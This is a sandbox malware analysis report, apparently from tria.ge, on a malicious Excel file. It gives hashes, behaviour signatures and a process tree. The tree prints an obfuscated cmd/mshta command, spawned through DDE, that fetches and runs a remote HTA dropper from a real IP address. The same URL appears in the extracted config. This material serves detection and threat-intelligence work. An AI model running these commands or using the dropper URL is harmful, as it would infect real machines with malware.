Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    285s
  • max time network
    167s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    20/09/2022, 13:26

General

  • Target

    bb1f500a59544aa8e44a0377cc506dfbebca1ecb7a8c73dc72d3268803976ff5.xls

  • Size

    63KB

  • MD5

    6c23aab5ed898b3b5629c8c6a91c96c3

  • SHA1

    603910f1c1df4c58bf59eec256d6957f0e0a9184

  • SHA256

    bb1f500a59544aa8e44a0377cc506dfbebca1ecb7a8c73dc72d3268803976ff5

  • SHA512

    915dd59482ff0ac1ed30f16928fe86f947d602530cb7ac3a1ac4e2b717b96f28648b8868a8ecaede5cbc1166d6a050adc9f1f5ff10680cb15a3d6b4450672685

  • SSDEEP

    1536:d0Nk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKzMk9B+ooszMk9A+oos:dak3hbdlylKsgqopeJBWhZFGkE+cL2NP

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://87.251.86.178/pp/oo.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\bb1f500a59544aa8e44a0377cc506dfbebca1ecb7a8c73dc72d3268803976ff5.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:868
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1916
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://87.251.86.178/pp/oo.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        PID:1204
  • C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    1⤵
      PID:1504
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x594
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:292
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
      1⤵
        PID:832
      • C:\Windows\SysWOW64\DllHost.exe
        C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
        1⤵
          PID:1060
        • C:\Windows\System32\SystemPropertiesComputerName.exe
          "C:\Windows\System32\SystemPropertiesComputerName.exe"
          1⤵
            PID:1572
          • C:\Windows\system32\notepad.exe
            "C:\Windows\system32\notepad.exe"
            1⤵
              PID:608

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • memory/832-78-0x0000000072241000-0x0000000072243000-memory.dmp

              Filesize

              8KB

            • memory/868-54-0x000000002FE81000-0x000000002FE84000-memory.dmp

              Filesize

              12KB

            • memory/868-55-0x0000000070EA1000-0x0000000070EA3000-memory.dmp

              Filesize

              8KB

            • memory/868-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

              Filesize

              64KB

            • memory/868-57-0x0000000075131000-0x0000000075133000-memory.dmp

              Filesize

              8KB

            • memory/868-58-0x0000000071E8D000-0x0000000071E98000-memory.dmp

              Filesize

              44KB

            • memory/868-62-0x0000000071E8D000-0x0000000071E98000-memory.dmp

              Filesize

              44KB

            • memory/868-63-0x000000005FFF0000-0x0000000060000000-memory.dmp

              Filesize

              64KB

            • memory/868-64-0x0000000071E8D000-0x0000000071E98000-memory.dmp

              Filesize

              44KB

            • memory/1504-74-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp

              Filesize

              8KB